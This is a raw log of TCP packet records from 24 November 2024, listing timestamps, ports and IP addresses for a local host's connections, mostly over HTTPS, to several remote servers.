Nov 24, 2024 00:06:29.400955915 CET	49750	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.400979042 CET	443	49750	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.402407885 CET	443	49750	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.402482986 CET	49750	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.402868032 CET	49750	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.402947903 CET	443	49750	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.403017998 CET	49750	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.403026104 CET	443	49750	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.419703960 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.419794083 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.419801950 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.419842958 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.420130014 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.420178890 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.420187950 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.420267105 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.448335886 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.448352098 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.449197054 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.449881077 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.449888945 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.450922966 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.450980902 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.451277971 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.451524973 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.451591969 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.451745987 CET	49750	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.451756954 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.453476906 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.453495979 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.453881025 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.453886986 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.454508066 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.454564095 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.455420971 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.455483913 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.455519915 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.499375105 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.561151028 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.561460018 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.561475992 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.584073067 CET	49750	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.584213018 CET	443	49750	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.584378004 CET	49750	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.592080116 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:29.592191935 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:29.719655991 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.860663891 CET	443	49755	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:29.861243010 CET	49755	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:29.861275911 CET	443	49755	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:29.861886024 CET	49755	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:29.861893892 CET	443	49755	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:29.874002934 CET	443	49756	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:29.875010967 CET	49756	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:29.875036001 CET	443	49756	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:29.875634909 CET	49756	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:29.875641108 CET	443	49756	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:29.942895889 CET	443	49758	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.942985058 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.944179058 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.944188118 CET	443	49758	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.944988966 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.944993973 CET	443	49758	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:30.035432100 CET	443	49757	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.038994074 CET	49757	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.039020061 CET	443	49757	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.039695978 CET	49757	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.039704084 CET	443	49757	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.166429996 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.166590929 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.166640043 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.166675091 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.166762114 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.166810989 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.166820049 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.173646927 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.173727989 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.173736095 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.177947998 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.178035975 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.178097963 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.178111076 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.235971928 CET	443	49759	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.236540079 CET	49759	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.236550093 CET	443	49759	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.237065077 CET	49759	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.237071037 CET	443	49759	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.279069901 CET	443	49760	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.279681921 CET	49760	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.279695034 CET	443	49760	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.280267000 CET	49760	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.280271053 CET	443	49760	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.315108061 CET	443	49755	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.315264940 CET	443	49755	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.315356970 CET	49755	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.315538883 CET	49755	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.315538883 CET	49755	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.315577984 CET	443	49755	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.315603018 CET	443	49755	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.317570925 CET	443	49756	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.317662001 CET	443	49756	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.317909002 CET	49756	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.318130016 CET	49756	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.318142891 CET	443	49756	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.318969965 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.319010973 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.319082975 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.319365978 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.319379091 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.320590973 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.320616007 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.320776939 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.320905924 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.320918083 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.324702978 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.324821949 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.324888945 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.325706959 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.325716019 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.342609882 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.342650890 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.342681885 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.342708111 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.342744112 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.342757940 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.342773914 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.357549906 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.357610941 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.357662916 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.357671022 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.357803106 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.392957926 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:30.392991066 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:30.393151045 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:30.394356966 CET	49764	443	192.168.2.6	172.202.163.200
Nov 24, 2024 00:06:30.394365072 CET	443	49764	172.202.163.200	192.168.2.6
Nov 24, 2024 00:06:30.396368980 CET	443	49758	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:30.396430969 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:30.396456957 CET	443	49758	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:30.396498919 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:30.396507978 CET	443	49758	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:30.396543026 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:30.396554947 CET	443	49758	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:30.396564960 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:30.396593094 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:30.396611929 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:30.398200989 CET	49765	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:30.398216963 CET	443	49765	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:30.398291111 CET	49765	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:30.398729086 CET	49765	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:30.398740053 CET	443	49765	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:30.433418989 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.440927982 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.441001892 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.441015005 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.478471041 CET	443	49757	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.478538036 CET	443	49757	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.478578091 CET	49757	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.478874922 CET	49757	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.478882074 CET	443	49757	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.478892088 CET	49757	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.478898048 CET	443	49757	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.482500076 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.482528925 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.482646942 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.482882023 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.482892990 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.530616045 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.530752897 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.530770063 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.543612003 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.543680906 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.543689013 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.547787905 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.547842026 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.547852993 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.561815977 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.561954021 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.561970949 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.571027994 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.571126938 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.571135044 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.587234020 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.587467909 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.587476969 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.602471113 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.602582932 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.602595091 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.617731094 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.617803097 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.617811918 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.634330034 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.634407997 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.634414911 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.649914026 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.649983883 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.649991035 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.683577061 CET	443	49759	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.683768988 CET	443	49759	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.683828115 CET	49759	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.683960915 CET	49759	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.683964968 CET	443	49759	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.683974981 CET	49759	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.683978081 CET	443	49759	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.688219070 CET	49767	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.688230038 CET	443	49767	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.688285112 CET	49767	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.688534021 CET	49767	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.688544989 CET	443	49767	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.692491055 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.692548037 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.692558050 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.718662024 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.718739986 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.718750000 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.731524944 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.731599092 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.731606007 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.741246939 CET	443	49760	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.741317034 CET	443	49760	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.741538048 CET	49760	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.741662025 CET	49760	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.741662025 CET	49760	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.741676092 CET	443	49760	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.741683960 CET	443	49760	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.741822004 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.741861105 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.741867065 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.745440960 CET	49768	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.745485067 CET	443	49768	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.745558023 CET	49768	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.745915890 CET	49768	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:30.745944977 CET	443	49768	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:30.755692005 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.755743027 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.755749941 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.769958973 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.770018101 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.770025015 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.782711029 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.782766104 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.782773972 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.795692921 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.795747995 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.795754910 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.807287931 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.807337999 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.807343960 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.818264008 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.818303108 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.818310022 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.849108934 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.849154949 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.849163055 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.850547075 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.850689888 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.850697041 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.856184959 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.856257915 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.856265068 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.857640028 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.857925892 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.857933044 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.870501995 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.870568037 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.870575905 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.871936083 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.871997118 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.872003078 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.879942894 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.879992962 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.880017042 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.883589029 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.883675098 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.883682966 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.891027927 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.891081095 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.891086102 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.898473978 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.898520947 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.898526907 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.906117916 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.906188011 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.906193972 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.915359974 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.915457010 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.915468931 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.920491934 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.920538902 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.920550108 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.927611113 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.927673101 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.927687883 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.933873892 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.933928967 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.933938026 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.940506935 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.940567017 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.940573931 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.946831942 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.947899103 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.947906971 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.956991911 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.957097054 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.957103968 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.971153975 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.971219063 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.971225977 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.984019995 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.984162092 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.984169006 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.996634007 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.996689081 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.996695995 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.998070955 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:30.998126984 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:30.998132944 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:31.008375883 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:31.008428097 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:31.008434057 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:31.009572029 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:31.009624004 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:31.009629011 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:31.010946035 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:31.011007071 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:31.011133909 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:31.011149883 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:31.735245943 CET	49773	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:31.735289097 CET	443	49773	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:31.735368013 CET	49773	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:31.735635042 CET	49773	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:31.735649109 CET	443	49773	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:31.912894011 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:31.913619995 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:31.913642883 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:31.914186001 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:31.914191961 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:32.010612965 CET	443	49765	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:32.010734081 CET	49765	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:32.014378071 CET	49765	443	192.168.2.6	150.171.27.10
